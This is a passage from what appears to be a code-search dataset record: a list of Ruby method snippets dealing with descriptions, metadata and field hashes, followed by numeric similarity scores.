''\n\tend", "def description\n description_section.join(\" \").tr(\"\\n\", ' ').gsub(/[{}]/,'').gsub(/\\[[^\\]]+\\]/,'') # strip rdoc\n end", "def description; @doc['description']; end", "def description; @doc['description']; end", "def description\n nil\n end", "def description\n nil\n end", "def description\n \"validate the presence of any of these attributes: #{attributes.join(', ')}\"\n end", "def description?\n non_empty?(@description)\n end", "def nodoc\n @hide_commands_without_desc and description.nil?\n end", "def description?\n !(@description.nil? || @description.empty?)\n end", "def has_descriptions\n options[:descriptions]\n end", "def description\n \"\"\n end", "def description_section(title, body)\n \"[#{sane title}]: #{sane body}\"\n end", "def has_content?\n ( not self.title.nil? and not self.title.length == 0 ) or \n (not self.description.nil? and not self.description.length == 0 ) or \n (not self.teaser.nil? and not self.teaser.length == 0 )\n end", "def description; @text; end", "def meta_description\n read_attribute(:meta_description).blank? ? self.intro[0, 255] : read_attribute(:meta_description)\n end", "def one_line_description(opts={}) ; attributes['comments'] ; end", "def descriptions\n []\n end", "def description(text='')\n return @description if text.blank?\n @description = text\n end", "def the_event_must_have_at_least_one_description\n if des_es.empty? && des_eu.empty? && des_en.empty? && des_fr.empty?\n errors.add(:des_es, \"Please fill in the desciption at least in one language\")\n end\n if title_es.empty? && title_eu.empty? && title_en.empty? && title_fr.empty?\n errors.add(:des_es, \"Please fill in the desciption at least in one language\")\n end\n end", "def description\n page.render_part('description') rescue ''\n end", "def description\n page.render_part('description') rescue ''\n end", "def summary\n description_section.first\n end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def has_description?\n !error.description.to_s.empty?\n end", "def description\n desc = details.at(\"div.summary_text[itemprop='description']\").text.strip.clean_description rescue nil\n (desc.nil? || desc.empty?) ? nil : desc\n end", "def main_description; end", "def description(*args)\n #do nothing\n end", "def description\n description = \"\"\n end", "def has_text?; end", "def short_description\n if self.description.nil?\n nil\n else\n self.description[%r{^[^\\n\\r]*}]\n end\n end", "def description\n @description || raise(\"#{name}.description isn't defined\")\n end", "def empty_unused_fields\n if @publication.scientific_article?\n # Empty fields specific to categories other than scientific_article\n @publication.book_title = ''\n @publication.book_authors = ''\n @publication.book_publisher = ''\n @publication.url = ''\n else\n # Empty fields specific to scientific_article\n @publication.journal_id = 0\n @publication.new_journal_name = ''\n @publication.DOI = ''\n @publication.volume = ''\n @publication.issue = ''\n @publication.pages = ''\n unless @publication.chapter?\n # Empty fields specific to book_chapter\n @publication.book_title = ''\n @publication.book_authors = ''\n end\n end\n end", "def description\n desc = object.description.to_s\n desc = h.strip_tags(markdown.render(desc)).strip # Escape HTML and remove Markdown\n\n if desc.blank? or [\"[!\", \"[](\", \"===\", \"```\"].any? { |s| desc.include? s }\n \"<em>#{ DESCRIPTION_UNAVAILABLE }</em>\".html_safe\n else\n desc = \"#{ desc }.\" if /\\w/ =~ desc.last # Add trailing dot\n desc[0] = desc[0].upcase # Capitalize 1st letter\n desc.html_safe\n end\n end", "def meta_description?\n meta_description.present?\n end", "def desc?\n @properties.key?(:desc) && !@properties[:desc].empty?\n end", "def subtitle_fields\n []\n end", "def descr_short\n descr = self[:descr].to_s.gsub(\"\\n\", \" \").gsub(/\\s{2,}/, \" \")\n descr = Knj::Strings.shorten(descr, 20)\n #descr = \"[#{_(\"no description\")}]\" if descr.to_s.strip.length <= 0\n return descr\n end", "def description\n end", "def verify_project_desc(test_data)\n verify_values_match(test_data[UseOfCollections::PROJECT_DESC.name], element_value(project_desc_text_area))\n end", "def handle_nil_description\n self.description = \"\" if description.nil?\n end", "def handle_nil_description\n self.description = \"\" if description.nil?\n end", "def handle_nil_description\n self.description = \"\" if description.nil?\n end", "def validate\n if !raw.include?('Returns')\n raise InvalidTomDoc.new(\"No `Returns' statement.\")\n end\n\n if sections.size < 2\n raise InvalidTomDoc.new(\"No description section found.\")\n end\n\n true\n end", "def _validate_description(d)\n if d == spec.summary\n results.add_warning('description', 'The description is equal to' \\\n ' the summary.')\n end\n\n if d.strip.empty?\n results.add_error('description', 'The description is empty.')\n elsif spec.summary && d.length < spec.summary.length\n results.add_warning('description', 'The description is shorter ' \\\n 'than the summary.')\n end\n end", "def description\n text = ['A']\n text << [duration, 'minute'] if duration.present?\n text << [format, 'publication']\n text << [ 'from', pretty_date(published_on) ] if published_on.present?\n text << ['by', presentations.first.speaker_names] if presentations.present?\n text.join(' ')\n end", "def description\n return summary\n end", "def _validate_summary(s)\n if s.length > 140\n results.add_warning('summary', 'The summary should be a short ' \\\n 'version of `description` (max 140 characters).')\n end\n if s =~ /A short description of/\n results.add_warning('summary', 'The summary is not meaningful.')\n end\n end", "def content_descriptions\n return nil if definition.blank?\n definition['contents']\n end", "def description_section\n section_of( 'README.md', 'DESCRIPTION')\n end", "def verify_project_desc(test_data)\n verify_values_match(test_data[CoreUseOfCollectionsData::PROJECT_DESC.name], element_value(project_desc_text_area))\n end", "def format_description(text)\n # Look for signs of structure, otherwise just treat as unstructured.\n case text\n when /\"\";/ then double_quotes_to_sections(text)\n when /\\.--v\\. */ then double_dash_to_sections(text)\n when /; *PART */i then # Seen in some IA records.\n when /:;/ then # Observed in one unusual case.\n when /[[:punct:]] *--.* +-- +/ then # Blurbs/quotes with attribution.\n when / +-- +.* +-- +/ then # Table-of-contents title list.\n when /(;[^;]+){4,}/ then # Many sections indicated.\n else return format_multiline(text)\n end\n q_section = nil\n text.split(/ *; */).flat_map { |part|\n next if (part = part.strip).blank?\n case part\n when /^\"\"(.*)\"\"$/\n # === Rare type of table-of-contents listing entry\n line = $1.to_s\n if line.match(SECTION_TITLE_RE)\n gap = (\"\\n\" unless q_section)\n q_section = $1.to_s\n [gap, \"#{q_section} #{$2}\", \"\\n\"].compact\n else\n q_section = nil\n line.match?(/^\\d+ +/) ? line : \"#{BLACK_CIRCLE}#{EN_SPACE}#{line}\"\n end\n\n when / +-- +.* +-- +/\n # === Table-of-contents listing\n section = nil\n part.split(/ +-- +/).flat_map { |line|\n if line.match(SECTION_TITLE_RE)\n gap = (\"\\n\" unless section)\n section = $1.to_s.delete_suffix('.')\n [gap, \"#{section}. #{$2}\", \"\\n\"].compact\n else\n section = nil\n \"#{BLACK_CIRCLE}#{EN_SPACE}#{line}\"\n end\n }.tap { |toc| toc << \"\\n\" unless toc.last == \"\\n\" }\n\n when /[[:punct:]] *--/\n # === Blurbs/quotes with attribution\n part.scan(BLURB_RE).flat_map do |paragraph, attribution|\n attribution.remove!(/[.\\s]+$/)\n [\"#{paragraph} #{EM_DASH}#{attribution}.\", \"\\n\"]\n end\n\n when /^v[^.]*\\. *\\d/\n # === Apparent table-of-contents volume title\n [part]\n\n else\n # === Plain text section\n part = \"#{part}.\" unless part.match?(/[[:punct:]]$/)\n [part, \"\\n\"]\n end\n }.compact.map { |line|\n line.gsub(/---/, EM_DASH).gsub(/--/, EN_DASH)\n }\n end", "def full_description(page_description = '')\n base_description = t('layouts.header.subheading')\n if page_description.empty?\n base_description\n else\n page_description\n end\n end", "def full_description\n self.study_detail.try(:full_description)\n end", "def description\n initial_comment.try(:text) || \"\"\n end", "def short_description(description)\n if description != nil\n \"#{description[0..25]}...\"\n else\n \"No description yet...\"\n end\n end", "def indefinite_short_description\n return \"something\"\n end", "def paragraphs?\n false\n end", "def all_of_description\n\t\treturn nil if self.all_of.empty?\n\t\treturn \" with all of: %s\" % [ self.all_of.map(&:name).join(', ') ]\n\tend", "def desc\n\tend", "def desc\n\tend", "def parse_description(section)\n if md = /^([A-Z]\\w+\\:)/.match(section)\n @status = md[1].chomp(':')\n @description = md.post_match.strip\n else\n @description = section.strip\n end \n end", "def indefinite_long_description\n return \"something\"\n end", "def _section_fields\n {\n 'article' => ['r:Title', 'o:Author', 'o:DOI'],\n 'journal' => ['r:Title', 'o:ISSN', 'r:Volume', 'o:Issue', 'r:Year', 'r:Pages'],\n 'host' => ['o:Title', 'o:ISSN or ISBN', 'o:Volume', 'o:Issue', 'r:Year', 'o:Pages'],\n 'auto-cancel' => ['o:Automatic cancellation'],\n 'notes' => ['o:Notes'],\n 'conference' => ['r:Title', 'o:Location', 'r:Year', 'o:ISSN or ISBN', 'r:Pages'],\n 'book' => ['r:Title', 'o:Author', 'o:Edition', 'o:DOI', 'o:ISBN', 'r:Year', 'o:Publisher'],\n 'thesis' => ['r:Title', 'r:Author', 'o:Affiliation', 'o:Publisher', 'o:Type', 'r:Year', 'o:Pages'],\n 'report' => ['r:Title', 'o:Author', 'o:Publisher', 'o:DOI', 'o:Report Number'],\n 'standard' => ['r:Title', 'o:Subtitle', 'o:Publisher', 'o:DOI', 'o:Standard Number', 'o:ISBN', 'r:Year', 'o:Pages'],\n 'patent' => ['r:Title', 'o:Inventor', 'o:Patent Number', 'r:Year', 'o:Country'],\n 'other' => ['r:Title', 'o:Author', 'o:Publisher', 'o:DOI']\n }\nend", "def description\n\t # if the description exists\n\t # return it \n\t # else \n\t # scrape to get the description\n\t # return it\n\t # end\n\tend", "def description\n fields['description']\n end", "def description\n read_attribute(:description) || \"n/a\"\n end", "def available_content_descriptions\n return nil if description.blank?\n description['available_contents']\n end", "def valid?\n title_or_description.to_s != ''\n end", "def description\n [basic_description, extra_description].compact.join(\" \")\n end", "def extra_description\n attributes_description + content_description + count_description\n end", "def has_meta_description?\n !!meta_description\n end", "def content_descriptions\n return nil if description.blank?\n description['contents']\n end", "def about_present?\n !self.about.nil? && !self.about.empty?\n end", "def description\n return nil if info.nil?\n info[:description]\n end", "def description\n super || \"\"\n end" ]
[ "0.7091663", "0.6675248", "0.6603432", "0.65178055", "0.6476238", "0.6348571", "0.6327523", "0.6321117", "0.6318996", "0.6304335", "0.6282118", "0.6271227", "0.62522614", "0.62432814", "0.62059134", "0.6188833", "0.61730695", "0.617263", "0.6162841", "0.6162841", "0.6161797", "0.6161797", "0.6153475", "0.6127493", "0.6120366", "0.610338", "0.6079947", "0.60167176", "0.6014634", "0.5981777", "0.59797317", "0.5977917", "0.5962926", "0.59556055", "0.59389967", "0.59272957", "0.590452", "0.590452", "0.58819085", "0.5845241", "0.5845241", "0.5845241", "0.5845241", "0.5845241", "0.5845241", "0.5845241", "0.5845241", "0.5845241", "0.5845241", "0.58162", "0.58158237", "0.5815728", "0.5811999", "0.58023643", "0.5799721", "0.5784814", "0.57767254", "0.57763225", "0.5774298", "0.5761506", "0.5760442", "0.575878", "0.5755327", "0.57414496", "0.5731297", "0.57287985", "0.57287985", "0.57287985", "0.57210124", "0.5716486", "0.56987077", "0.5693361", "0.56820023", "0.56757057", "0.5669813", "0.5669792", "0.56681687", "0.5663331", "0.5660357", "0.5658468", "0.56525123", "0.56475484", "0.56473696", "0.5627529", "0.5598379", "0.5598379", "0.5593857", "0.55883175", "0.5588224", "0.55872065", "0.55816555", "0.5579494", "0.55729353", "0.5566251", "0.5554031", "0.5550899", "0.55506974", "0.554586", "0.55383146", "0.5538212", "0.55344814" ]
0.0
-1
Returns a Hash containing all the descriptive text fields. (See also the counterpart writermethod +all_notes=+.)
def all_notes result = {} self.class.all_note_fields.each do |field| value = send(field).to_s result[field] = value.presence end result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def INFO_FIELDS\n %w(name created updated type ref user description comments)\n end", "def descMetadata_display_fields\n [:identifier, :title, :alternative, :creator, :contributor, :description, :abstract,\n :toc, :publisher, :source, :date, :date_created, :date_copyrighted,\n :date_submitted, :date_accepted, :date_issued, :date_available,\n :date_modified, :language, :type, :format, :extent, :medium, :persname,\n :corpname, :geogname, :subject, :genre, :provenance, :rights,\n :access_rights, :rights_holder, :license, :replaces, :isReplacedBy,\n :hasFormat, :isFormatOf, :hasPart, :isPartOf, :accrualPolicy, :audience,\n :references, :spatial, :bibliographic_citation, :temporal, :funder,\n :resolution, :bitdepth, :colorspace, :filesize]\n end", "def info_hash\n @fields\n end", "def text_fields_hash\n @text_fields_hash ||=\n setups.inject({}) do |hash, setup|\n setup.all_text_fields.each do |text_field|\n (hash[text_field.name] ||= Set.new) << text_field\n end\n hash\n end\n end", "def details\n {\n change_note: edition.most_recent_change_note,\n tags: {\n browse_pages: [],\n topics: specialist_sectors,\n }\n }\n end", "def details\n details = {}\n frm.table(:class=>\"itemSummary\").rows.each do |row|\n details.store(row.th.text, row.td.text)\n end\n return details\n end", "def descriptions\n\t\treturn self.constraints.each_with_object({}) do |(field,constraint), hash|\n\t\t\thash[ field ] = constraint.description\n\t\tend\n\tend", "def hashed_fields_for_export\n raise InvalidArgument unless self.form\n\n hash = {}\n\n self.form.questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge({\n ip_address: \"IP Address\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n end", "def descriptions\n return @detail + \"; \" + @firm + \"; \" + @age + \": \" + \"#{@cost}\"\n end", "def asciidoc_attributes\n { 'author' => author_name,\n 'email' => author_email,\n 'project-name' => project_name,\n 'package-name' => package_name,\n 'package-version' => version,\n 'package-description' => description,\n 'package-summary' => summary,\n 'project-url' => project_url \n }.reject{|k,v| v.nil? }\n end", "def additional_text_fields\n [\n [:institution_type],\n [:completed_cs_courses_and_activities],\n [:how_heard, HOW_HEARD_FACILITATOR, :how_heard_facilitator],\n [:how_heard, HOW_HEARD_CODE_ORG_STAFF, :how_heard_code_org_staff],\n [:how_heard, HOW_HEARD_REGIONAL_PARTNER, :how_heard_regional_partner],\n [:how_heard],\n [:plan_on_teaching],\n [:led_cs_extracurriculars, OTHER_PLEASE_LIST],\n [:grades_taught],\n [:grades_currently_teaching],\n [:subjects_taught],\n [:experience_leading]\n ]\n end", "def hashed_fields_for_export\n hash = {}\n\n self.ordered_questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge!({\n location_code: \"Location Code\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n\n if self.organization.enable_ip_address?\n hash.merge!({\n ip_address: \"IP Address\"\n })\n end\n\n hash\n end", "def get_fields\n FIELD_DESCS\n end", "def basic_info_data\n hash = {}\n target_div = self.div(:class=>\"s3d-contentpage-title\", :text=>\"Basic Information\").parent.parent.div(:id=>\"displayprofilesection_body\")\n target_div.divs(:class=>\"displayprofilesection_field\").each { |div| hash.store(div.span(:class=>\"s3d-input-label\").text, div.span(:class=>\"field_value\").text) }\n return hash\n end", "def get_qc_field_descriptions\n @qc_field_descs = {}\n QcFieldDescription.all.each do |desc|\n @qc_field_descs[ desc.qc_field.to_sym ] = desc\n end\n end", "def hash\n [format, text_compression, embed_full_fonts, compliance, sufficient_resolution, jpeg_quality, draw_slides_frame, show_hidden_slides, save_metafiles_as_png, password, embed_true_type_fonts_for_ascii, additional_common_font_families, notes_position, comments_position, comments_area_width, comments_area_color, show_comments_by_no_author, image_transparent_color, apply_image_transparent].hash\n end", "def metadata\n out_hash = {}.with_indifferent_access\n %i[doi upload_type publication_date title creators description access_right license\n keywords notes related_identifiers method locations communities].each do |meth|\n next if meth == 'doi' && @dataset_type != :data\n\n result = send(meth)\n out_hash[meth] = result unless result.blank?\n end\n out_hash\n end", "def general_metadata_hash\r\n metadata = Hash.new\r\n metadata[:filename] = @datafile.file_file_name\r\n metadata[:downloads] = 0\r\n\r\n metadata[:title] = clean_string(general_metadata_sheet[*WBF[:meta_title_pos]])\r\n metadata[:abstract] = clean_string(general_metadata_sheet[*WBF[:meta_abstract_pos]])\r\n metadata[:comment] = clean_string(general_metadata_sheet[*WBF[:meta_comment_pos]])\r\n metadata[:usagerights] = clean_string(general_metadata_sheet[*WBF[:meta_usagerights_pos]])\r\n metadata[:published] = clean_string(general_metadata_sheet[*WBF[:meta_published_pos]])\r\n metadata[:spatialextent] = clean_string(general_metadata_sheet[*WBF[:meta_spatial_extent_pos]])\r\n metadata[:temporalextent] = clean_string(general_metadata_sheet[*WBF[:meta_temporalextent_pos]])\r\n metadata[:taxonomicextent] = clean_string(general_metadata_sheet[*WBF[:meta_taxonomicextent_pos]])\r\n metadata[:design] = clean_string(general_metadata_sheet[*WBF[:meta_design_pos]])\r\n metadata[:dataanalysis] = clean_string(general_metadata_sheet[*WBF[:meta_dataanalysis_pos]])\r\n metadata[:circumstances] = clean_string(general_metadata_sheet[*WBF[:meta_circumstances_pos]])\r\n return metadata\r\n end", "def hash\n [text, row_span, col_span, margin_top, margin_right, margin_left, margin_bottom, text_anchor_type, text_vertical_type, fill_format, border_top, border_right, border_left, border_bottom, border_diagonal_up, border_diagonal_down, column_index, row_index, text_frame_format, paragraphs].hash\n end", "def hash\n [author, text, created_time, child_comments, type, text_selection_start, text_selection_length, status].hash\n end", "def make_record_description\n position = (0..RECORD_MAX_N_FIELDS).each\n description = record_describer.description\n fields = { type: description[:type], key: [], sys: [], row: [] }\n\n description[:key].each do |field|\n fields[:key] << Innodb::Field.new(position.next, field[:name], *field[:type])\n end\n\n # If this is a leaf page of the clustered index, read InnoDB's internal\n # fields, a transaction ID and roll pointer.\n if leaf? && fields[:type] == :clustered\n [[\"DB_TRX_ID\", :TRX_ID], [\"DB_ROLL_PTR\", :ROLL_PTR]].each do |name, type|\n fields[:sys] << Innodb::Field.new(position.next, name, type, :NOT_NULL)\n end\n end\n\n # If this is a leaf page of the clustered index, or any page of a\n # secondary index, read the non-key fields.\n if (leaf? && fields[:type] == :clustered) || (fields[:type] == :secondary)\n description[:row].each do |field|\n fields[:row] << Innodb::Field.new(position.next, field[:name], *field[:type])\n end\n end\n\n fields\n end", "def to_hash\n hash = {}\n hash[:name] = name\n hash[:description] = docstring unless docstring.empty?\n hash\n end", "def extra_description\n attributes_description + content_description + count_description\n end", "def hash\n [attachments, billing, body, body_html, body_rtf, body_type, categories, companies, item_id, message_class, mileage, recipients, sensitivity, subject, subject_prefix, properties, discriminator, electronic_addresses, events, name_info, other_fields, personal_info, photo, physical_addresses, professional_info, telephones].hash\n end", "def description\n fields['description']\n end", "def help_text\n format_block = proc {|key, flag, doc, required, kind|\n sprintf(\" %-3s %-14s %-10s %s %s\", flag, key, kind, doc, required ? '(REQUIRED)' : '')\n }\n required, options = help_attributes.partition{ |a| a[3]}\n [\n self.doc,\n \"\\n\",\n self.usage ? [\"Usage: \" + self.usage, \"\\n\"] : [],\n required.size > 0 ? [\"Required args:\", required.map(&format_block), \"\\n\"] : [],\n options.size > 0 ? [\"Options:\", options.map(&format_block), \"\\n\"] : [],\n (self.examples && self.examples.size > 0) ? \"Examples:\\n\" + \" \" + [self.examples].flatten.join(\"\\n \") : [],\n ]\n end", "def fields\n displayed_fields = @display_fields.select { |display_field| @document.key?(display_field) }\n pairs = displayed_fields.map do |display_field|\n [display_field, Array.wrap(@document.fetch(display_field))]\n end\n Hash[pairs]\n end", "def details\n date_hash = {due_date: @due}\n detail_hash = {}\n detail_hash[:description] = format_description(@description)\n detail_hash[:date] = \"due: #{format_date(@type, date_hash)}\"\n detail_hash[:priority] = format_priority(@priority)\n detail_hash[:type] = @type\n detail_hash\n end", "def keywords\n @descriptive_detail.keywords\n end", "def description\n description = {}\n for name in @hash.keys\n text = @hash[name].last.description\n if @hash[name].last.depends and @hash[name].last.depends.length > 0\n depends = ' [' + @hash[name].last.depends.join(', ') + ']'\n else\n depends = nil\n end\n description[name] = (text ? text : '') + (depends ? depends : '')\n end\n return description\n end", "def all_attributes\n @@all_attributes ||= \n begin\n to_return = {}\n @fields.each do |key, field|\n to_return[key] = field.human_name\n end\n to_return\n end\n end", "def formal_description\n @data['formalDescription']\n end", "def info\n \t{\n \t\t:id => self.id,\n \t\t:content => self.content,\n \t\t:votes => self.votes,\n \t\t:user => self.user,\n \t\t:subject_id => self.subject_id,\n \t\t:c_type => self.c_type,\n\n \t}\n end", "def info_and_interview_details\n details = {}\n details[:interview_schedules] = interviews.select{|interview| interview.interview_date > Date.current}.sort_by(&:interview_date).first(2).pluck(:description)\n details[:info] = [name, email]\n details[:questions] = questions.pluck(:question)\n details\n end", "def attributes\n attrs = sort_members(@context.attributes).find_all{|a| @options.show_all || a.visibility == :public || a.visibility == :protected}\n attrs.collect{|a| {:name=>a.name, :visibility=>a.visibility, :rw=>a.rw, :description=>markup(a.comment, true)}}\n end", "def all_text_fields\n @text_fields ||= text_fields_hash.values.map { |set| set.to_a }.flatten\n end", "def attrs\n atrs = {\n :object_type => \"object-type-#{obj_type}\", :permission_id => 'manage',\n :name => name, :field_type => 'text', :is_required => false,\n :is_primary => true\n }\n\n if !id.nil?\n atrs.merge!(:field_id => id)\n end\n\n atrs\n end", "def edit_field_terms\n [:identifier, :title, :maker, :resource_type, :genre_string,\n :description, :extent, :rights,\n :publisher, :date_original, :date_published, :subject,\n :language, :related_url,\n :medium, :place_of_interview, :place_of_manufacture,\n :place_of_publication, :provenance]\n end", "def txt_hash(alternate_host=nil)\n fields = {}\n record = self.txt(alternate_host)\n return fields unless record\n\n record.split(/\\s*;\\s*/).each do |pair|\n (n,v) = pair.split(/\\s*=\\s*/)\n fields[n.to_sym] = v\n end\n fields\n end", "def descriptions\n return attributes[:descriptions] if attributes[:descriptions]\n attributes[:descriptions] = {}\n attributes[:descriptions]\n end", "def hash\n [text, font_name, font_size, bold, italic, color, width, height, top, left, rotation_angle, transparency, background, image, auto_align].hash\n end", "def general_info\n return <<HERE\n Manuscript Title: #{self.title}<br />\n Manuscript Type: #{self.manuscript_type.name}<br />\n Main Subject Category: #{self.article_section.article_section_name}<br />\n Manuscript Counts<br />\n Pages: #{self.num_pages}<br />\n References: #{self.num_refs}<br />\n Tables: #{self.num_tables}<br />\n Figures: #{self.num_figures}<br />\n Supplemental Materials: #{self.num_suppl_mtrls}<br />\n Co-Authors: #{self.coauthors.count}<br />\nHERE\n end", "def fields_hash\n each_pair.to_h\n end", "def user_group_general_info_hash\n wait_until_bus_section_load\n array = general_info_spans.map{ |span| span.text }\n Hash[*array]\n end", "def hash\n [anchor, anchor_case_sensitive, anchor_horizontal_alignment, anchor_ignore_if_not_present, anchor_match_whole_word, anchor_units, anchor_x_offset, anchor_y_offset, bold, collaborative, conceal_value_on_document, created_by_display_name, created_by_user_id, custom_tab_id, disable_auto_size, editable, font, font_color, font_size, height, included_in_email, initial_value, italic, items, last_modified, last_modified_by_display_name, last_modified_by_user_id, locked, maximum_length, merge_field, name, payment_item_code, payment_item_description, payment_item_name, required, scale_value, selected, shared, stamp_type, stamp_type_metadata, tab_label, type, underline, validation_message, validation_pattern, width].hash\n end", "def hash\n [id, url, external_id, first_name, last_name, middle_name, birth_date, gender, language, phone, allow_phone_contact, email, allow_email_contact, notes, date_created, date_modified, ext_date_created, ext_date_modified, doc_type, doc_issuer_info, doc_series, doc_number, department_code, department_name, doc_issue_date, doc_expiration_date, is_closed, merged_to, building_no, city, country_code, country_name, district, flat_no, house_no, region, room_no, settlement_type, street, raw_address, cards, view_url, preferences].hash\n end", "def to_h\n {\n 'abstracts' => abstracts,\n 'doctypes' => doctypes,\n 'names' => names,\n 'pub_info' => pub_info,\n 'publishers' => publishers,\n 'titles' => titles\n }\n end", "def description; @text; end", "def description; @doc['description']; end", "def description; @doc['description']; end", "def details\n return @details if @defaults\n\n @details = {}\n @details[:info] = {container: \"bg-indigo-100 text-indigo-600 border-indigo-200\", icon: \"fa-info-circle text-indigo-500\"}\n @details[:warning] = {container: \"bg-yellow-100 text-yellow-600 border-yellow-200\", icon: \"fa-exclamation-triangle text-yellow-500\"}\n @details[:success] = {container: \"bg-green-100 text-green-600 border-green-200\", icon: \"fa-check-circle text-green-500\"}\n @details[:error] = {container: \"bg-red-100 text-red-600 border-red-200\", icon: \"fa-exclamation-circle text-red-500\"}\n @details\n end", "def fields\n @fields ||= {}\n end", "def fields\n @fields ||= {}\n end", "def fields\n @fields ||= {}\n end", "def fields\n @fields ||= {}\n end", "def fields\n @fields ||= {}\n end", "def attachment_fields_hash\n @attachment_fields_hash ||=\n setups.inject({}) do |hash, setup|\n setup.all_attachment_fields.each do |text_field|\n (hash[text_field.name] ||= Set.new) << text_field\n end\n hash\n end\n end", "def hash\n [format, display_header, display_from_email_address, display_email_address, display_to_email_address, display_cc_email_address, display_bcc_email_address, time_zone_offset, convert_attachments, field_labels, preserve_original_date].hash\n end", "def attributes\r\n hash = super\r\n hash.delete('author')\r\n hash.delete('images')\r\n hash[\"document_type\"] = document_type\r\n hash[\"section_name\"] = section_name\r\n hash\r\n end", "def journal_title_fields\n []\n end", "def description\n values = super\n values = MetadataHelper.ordered( ordered_values: self.description_ordered, values: values )\n return values\n end", "def description\n values = super\n values = MetadataHelper.ordered( ordered_values: self.description_ordered, values: values )\n return values\n end", "def description\n [basic_description, extra_description].compact.join(\" \")\n end", "def item_summary\n hash = {}\n frm.table(:class=>\"itemSummary\").rows.each do |row|\n hash.store(row.th.text, row.td.text)\n end\n hash\n end", "def item_summary\n hash = {}\n frm.table(:class=>\"itemSummary\").rows.each do |row|\n hash.store(row.th.text, row.td.text)\n end\n return hash\n end", "def item_summary\n hash = {}\n frm.table(:class=>\"itemSummary\").rows.each do |row|\n hash.store(row.th.text, row.td.text)\n end\n return hash\n end", "def item_summary\n hash = {}\n frm.table(:class=>\"itemSummary\").rows.each do |row|\n hash.store(row.th.text, row.td.text)\n end\n return hash\n end", "def to_hash(options = {})\n attributes_hash = {}\n self.each do |attribute|\n \n if(attribute.name == \"description\" && !attribute.value.blank?)\n summary = RedCloth.new(attribute.value).to(RedCloth::Formatters::Summary)\n attributes_hash['summary'] = summary\n end\n \n if options[:include_comments]\n if attribute.allow_many?\n attributes_hash[attribute.name] = attribute.values.map { |a| { :value => apply_formatting(a.value), :comments => a.comments } }\n else\n attributes_hash[attribute.name] = { :value => apply_formatting(attribute.value), :comments => attribute.comments }\n end\n else\n if attribute.allow_many?\n attributes_hash[attribute.name] = attribute.values.map { |a| apply_formatting(a.value) }\n else\n attributes_hash[attribute.name] = apply_formatting(attribute.value)\n end\n end\n end\n attributes_hash\n end", "def detail\n output = []\n detail_fields.each do |field_name|\n output << [field_name.to_s, field(field_name).to_s]\n end\n\n output\n end", "def headings\n # NOTE: \"Comments\" is shared between both sets\n if self.new_review_format\n [\"Role Competence\",\"Consulting Skills\",\"Teamwork\", \"Contributions\", \"Comments\"]\n else\n [\"Tech\",\"Client\", \"Ownership\", \"Leadership\", \"OldTeamwork\", \"Attitude\", \"Professionalism\", \"Organizational\", \"Innovative\", \"Comments\"]\n end\n end", "def details\n\n return @description + \"; \" + @firstname + \"; \" + @lastname + \": \" + @dob + \": \"+ @address + \": \"+ @phone + \": \" + \"#{@infection}\"\n\n end", "def attributes_description\n grouped_attributes = @attributes.group_by { |key, value| !!value }\n\n make_sentence(\n # Yes, this is functionally equivalent to grouped_attributes.map, except this forces the\n # keys to be evalutated in the order [true, false]. This is necessary to maintain\n # compatibility with Ruby 1.8.7, because hashes in 1.8.7 aren't ordered.\n [true, false].reduce([]) do |memo, group_key|\n attributes = grouped_attributes[group_key]\n\n if attributes\n memo << grouped_attributes_prefix(group_key, attributes.count > 1) +\n grouped_attributes_description(attributes)\n end\n\n memo\n end\n )\n end", "def fields_for_display\n attributes = self.relevant_fields\n attributes.map{|key| [WorkOrder.human_attribute_name(key), self[key]]}\n end", "def fields_for_display\n attributes = self.relevant_fields\n attributes.map{|key| [WorkOrder.human_attribute_name(key), self[key]]}\n end", "def fields_for_display\n attributes = self.relevant_fields\n attributes.map{|key| [WorkOrder.human_attribute_name(key), self[key]]}\n end", "def description\n values = super\n values = Deepblue::MetadataHelper.ordered( ordered_values: description_ordered, values: values )\n return values\n end", "def property_details\n @property_details ||= Hash.new.tap do |result|\n details.each do |detail|\n detail.group_content.each do |group|\n title = group.title.text\n key = title.titleize.delete(' ').underscore\n break unless keys_white_list.include? key\n items = []\n group.items.each { |item| items << item.text }\n result[key.to_sym] = items unless items.empty?\n end\n end\n end\n end", "def formatted_info\n \"#{self.name} - #{self.description}\"\n end", "def hash\n [id, field_type, mode, label, no_wrap, bold, required, appears_by_default, find_enabled, allow_new_choices, sort_as_given, carry_choices, foreign_key, unique, does_data_copy, field_help, audited, num_lines, max_length, append_only, allow_html, has_extension, units, decimal_places, comma_start, number_format, does_average, does_total, blank_is_zero, currency_symbol, currency_format, display_time, display_relative, display_month, default_today, display_day_of_week, display_timezone, work_week, start_field, duration_field, format, hours24, display_user, default_kind, default_value_luid, choices_luid, choices, composite_fields, target_table_id, target_field_id, source_field_id, use_new_window, link_text, exact, display_images, default_domain, display_email, appears_as, abbreviate, auto_save, target_table_name, display_as_link, sort_alpha, version_mode, max_versions, see_versions, width, xml_tag, formula, default_value, comments, master_choice_table_id, master_choice_field_id, snap_field_id, parent_field_id, lookup_target_field_id, lookup_reference_field_id, summary_reference_field_id, summary_target_field_id, summary_function, master_table_tag, permissions].hash\n end", "def descriptions\n \n return @detail + \": \" + \"#{@extra_cost}\" + \". \" + @basic_transfer.descriptions\n end", "def texts\n @texts ||= fields.select { |f| f.class == Text }\n end", "def description\n @data['description']\n end", "def description\n @data['description']\n end", "def fields; end", "def fields; end", "def fields; end", "def descriptions\n @all_descriptions ||= @doc.match DESCRIPTION_MATCHES\n end", "def to_h\n hash = metadata.merge(:CreationDate => Time.now)\n hash[:Title] = title if title\n hash[:Author] = authors.join(\", \") unless authors.empty?\n hash[:Subject] = subject if subject\n hash[:Keywords] = keywords if keywords\n hash[:Creator] = creator if creator\n if producer\n hash[:Producer] = producer\n hash[\"Producer\"] = producer\n end\n {:info => hash}\n end", "def fields\n form = @stamper.getAcroFields\n form.getFields.each_with_object({}) do |(name, value), fields|\n fields[name.to_sym] = form.getField(name)\n end\n end", "def get_metadata_string\n str = \"\"\n @keywords.keys.map{|e| e.to_s}.sort.each do |k|\n str << k.to_s + \" => \" + @keywords[k.to_sym].to_s + 